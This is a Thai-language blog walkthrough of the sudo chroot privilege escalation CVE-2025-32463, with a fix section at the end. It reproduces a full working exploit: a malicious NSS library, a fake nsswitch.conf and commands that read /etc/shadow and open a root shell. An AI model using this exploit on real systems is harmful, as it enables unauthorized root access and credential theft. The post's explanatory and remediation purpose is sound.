CVE-2025–32463 Sudo chroot Elevation of Privilege

สวัสดีครับ พี่ ๆ น้อง ๆ ที่เข้ามาอ่านบทความนี้กันนะครับ วันนี้เราจะมาเล่าถึงเรื่องของช่องโหว่ CVE-2025–32463 Sudo chroot Elevation of Privilege โดยเดี๋ยวเราจะมาอธิบายว่าช่องโหว่ทำงานอย่างไร และสามารถนำมาใช้ได้อย่างไรบ้าง
ก่อนอื่นเลยผมขออธิบายสั้นๆก่อนที่จะลงรายละเอียดกันว่าช่องโหว่ CVE-2025–32463 Sudo chroot Elevation of Privilege คืออะไร ช่องโหว่ CVE-2025–32463 คือช่องโหว่ที่เราจะใช้งาน Sudo -R หรือ — chroot ในการกำหนด Root directory ก่อนที่รันคำสั่งต่างๆ ซึ่งผู้โจมตีสามารถสร้างไฟล์ /etc/nsswitch.conf ปลอมภายในไดเรกทอรี chroot ที่กำหนดไว้ได้ หากระบบรองรับรูปแบบดังกล่าว Sudo อาจถูกหลอกให้โหลด Library ที่เป็นอันตราย ส่งผลให้ผู้โจมตีสามารถยกระดับสิทธิ์เป็น Root ได้ ช่องโหว่นี้ส่งผลกระทบต่อ Sudo เวอร์ชัน 1.9.14 ถึง 1.9.17 ส่วนเวอร์ชันเก่าไม่ได้รับผลกระทบ เนื่องจากยังไม่มีการรองรับตัวเลือก chroot
Sudo คืออะไร Sudo ย่อมาจาก “superuser do” เป็นคำสั่งบนระบบ Unix / Linux / macOS ที่ใช้ให้ผู้ใช้ทั่วไปสามารถรันคำสั่ง ด้วยสิทธิ์ root หรือสิทธิ์ผู้ใช้คนอื่น โดยไม่ต้องเข้าสู่บัญชี root โดยตรง พูดง่าย ๆ:
- ผู้ใช้ปกติ → ใช้ sudo → รันคำสั่งที่ต้องสิทธิ์สูง
- ระบบจะถามรหัสผ่านผู้ใช้ (หรือบางครั้งไม่ต้องถาม ขึ้นอยู่กับการตั้งค่าใน sudoers)
ซึ่งการหาช่องโหว่ผ่าน Sudo -l หรือเวอร์ชันของ Sudo ก็จะเป็นสิ่งแรกๆที่เหล่าแฮกเกอร์ตรวจสอบเมื่อเข้าถึงเครื่องเป้าหมายและต้องการจะยกสิทธิ์ของ User ที่ได้
ต่อมาเดี๋ยวเราจะมาดู PoC ของช่องโหว่ CVE-2025–32463 และอธิบายการทำงานของช่องโหว่นี้กันครับ โดยเราจะใช้ https://github.com/pr0v3rbs/CVE-2025-32463_chwoot มาเพื่อทำการ PoC กันครับ
เริ่มจากสร้าง Environment โดยทำการเราจะทำตาม Github ที่อ้างอิงก่อนหน้าและเราก็จะมาลองเช็คเวอร์ชันของ Sudo โดยใช้คำสั่ง
sudo -V
และตรวจสอบสิทธิ์ของเราโดยใช้คำสั่ง
id

จากนั้นเรามาลองใช้คำสั่ง Sudo -R กันครับ โดยเราจะลองใส่ Path ที่ไม่มีอยู่จริงเข้าไปก่อน
sudo -R test test
เราก็จะพบว่ามีการเปิดใช้งานฟังก์ชัน chroot ไว้ จากนั้นเรามาลองวิเคราะห์โค้ดที่ใช้ในการโจมตีช่องโหว่ CVE-2025–32463 ก่อนที่จะใช้งานกันครับ

STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX)
cd ${STAGE?} || exit 1
เริ่มจากในส่วนแรกจะเป็นการสร้างโฟลเดอร์ temp โดยทำการสุ่มชื่อ เช่น /tmp/sudowoot.stage.abcd12 ที่เราสร้างใน Path ของ /tmp ก็เพราะว่าเป็น Path ที่แม้ว่าเราจะสิทธิ์ต่ำแค่ไหนก็ยังสามารถมาเขียนไฟล์ใน /tmp ได้
if [ $# -eq 0 ]; then
CMD=“/bin/bash”
else
CMD=”$@“
fi
ในส่วนถัดมาจะเป็นการรับค่า Argument โดยถ้าไม่มีการใส่คำสั่งเข้ามาก็จะทำการเปิด Shell /bin/bash เป็น Root แต่หากมีการใส่คำสั่งเข้ามาก็ให้ทำการรันคำสั่งนั้นแทน
CMD_C_ESCAPED=$(printf ‘%s’ “$CMD” | sed -e ‘s/\/\\/g’ -e ‘s/”/\”/g’)
ในส่วนนี้จะเป็นการ Escape คำสั่ง เพื่อฝังลงไปในซอร์สโค้ด C ได้อย่างปลอดภัย โดยจะป้องกัน \ หรือ “ พังโค้ด
cat > woot1337.c<<EOF#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor)) void woot(void) {
setreuid(0,0);
setregid(0,0);
chdir(”/”);
execl(“/bin/sh”, “sh”, “-c”, ”${CMD_C_ESCAPED}”, NULL);
}
EOF
ในจุดนี้คือ Payload ที่ให้สิทธิ์ Root โดยสร้างไฟล์ C ชื่อ woot1337.c มีโค้ด exploit:
- __attribute__((constructor)) → ฟังก์ชัน woot() จะถูกรัน อัตโนมัติเมื่อโหลด Shared library (ก่อน main())
- setreuid(0,0) และ setregid(0,0) → เปลี่ยน UID/GID เป็น Root
- chdir(“/”) → เปลี่ยน Working directory เป็น Root dir
- execl(“/bin/sh”, “sh”, “-c”, “…”) → สั่งรัน Shell หรือคำสั่งที่ผู้ใช้กำหนด
mkdir -p woot/etc libnss_
echo “passwd: /woot1337” > woot/etc/nsswitch.conf
cp /etc/group woot/etc
ต่อมาสร้าง Fake root filesystem (woot/) พร้อมไฟล์ Config
- libnss_ → สำหรับ Library ปลอมที่จะถูกโหลด
- woot/etc/nsswitch.conf → เปลี่ยน Config Name Service Switch (NSS) ให้ passwd ไปใช้ “/woot1337” → Trick sudo ให้โหลด Libnss ของเราก่อน
- Copy /etc/group เพื่อเลียนแบบ Environment ปกติ
gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c
ทำการคอมไพล์ไฟล์ C เป็น shared library .so ในส่วนนี้คือ malicious NSS library
- shared -fPIC → ให้สร้างเป็น Shared object
- Wl,-init,woot → บังคับให้ฟังก์ชัน woot() รันตอนโหลด lib
- output: libnss_/woot1337.so.2
echo “woot!”
sudo -R woot woot
แสดงข้อความ “woot!” และใช้ sudo -R woot woot
- -R = แก้ไขค่า Restricted path สำหรับ NSS lookup (ฟีเจอร์ของ sudo)
- ทำให้ sudo โหลด libnss_/woot1337.so.2 (ที่เราปลอมขึ้น) แทน system lib ปกติ
- ผล: sudo รันฟังก์ชัน woot() จาก lib → เปลี่ยนสิทธิ์เป็น Root → เปิด Shell/รันคำสั่ง
rm -rf ${STAGE?}
ลบ Directory ชั่วคราวทั้งหมด โดยจะเป็นการ Clean up
จากนั้นเรามาลองใช้ Script ที่เราอธิบายมาก่อนหน้ากันเลย ในส่วนแรกเราก็มาลองให้รันที่ละคำสั่งกันโดยใช้คำสั่ง
./sudo-chwoot.sh id
./sudo-chwoot.sh cat /etc/shadow

และต่อมาเราก็มาลองใช้แบบเปิด Shell ที่มีสิทธิ์เป็น Root เพื่อที่เราจะสามารถใช้ในการโจมตีเครื่องต่อไปได้เลย โดยที่เราจะรันแค่
./sudo-chwoot.sh
เพียงเท่านี้เราก็จะสามารถยกสิทธิ์ตัวเองจากที่มีสิทธิ์ต่ำมาเป็นสิทธิ์ Root ได้อย่างง่ายดาย
วิธีแก้ไขช่องโหว่ CVE-2025–32463 ก็คือการอัปเดตเวอร์ชัน Sudo ให้เป็นเวอร์ชัน 1.9.17p1 ขึ้นไป และทำการ Disable chroot หากไม่ได้มีการใช้งาน หรือหากจำเป็นต้องใช้ chroot จริง ๆ ควรให้ chroot Directory เป็นของ Root และไม่ Writable โดยผู้ใช้ทั่วไป
ก่อนจากกันก็ขอสรุปบทความนี้กันสักหน่อยนะครับ สำหรับ CVE-2025–32463 Sudo chroot Elevation of Privilege ก็เป็นช่องโหว่ของ Sudo เวอร์ชัน 1.9.14 ถึง 1.9.17 โดยจะใช้ Sudo -R เพื่อทำการยกสิทธิ์ตัวเองจากสิทธิ์ต่ำให้เป็นสิทธิ์ Root และวิธีการแก้ไขก็คือการอัปเดตให้เป็นเวอร์ชัน 1.9.17p1 ขึ้นไป
แถม ๆ ให้อีกนิดนึงหากเราอัปเดต Sudo ให้เป็นเวอร์ชัน 1.9.17p1 ก็จะเป็นการปิดช่องโหว่ CVE-2025–32462 ไปด้วยซึ่งก็จะเป็นช่องโหว่เกี่ยวกับการ Privilege escalation อีกเหมือนกันโดยจะเป็นการใช้ Sudo -h ที่ทำให้ผู้ใช้สามารถปลอมแปลงค่า Hostname ที่ใช้ใน /etc/sudoers สำหรับการควบคุมสิทธิ์การเข้าถึงได้ ส่งผลให้ระบบนำสิทธิ์ของ Hostname ที่ถูกปลอมแปลงมาใช้ แทนที่จะเป็นสิทธิ์ของเครื่องจริงได้ สุดท้ายนี้ก็ขอขอบคุณทุกท่านที่เข้ามาอ่านกันด้วยนะครับ หากมีข้อผิดพลาดประการใดก็ขออภัยมา ณ ที่นี้ด้วยครับ ขอบคุณครับ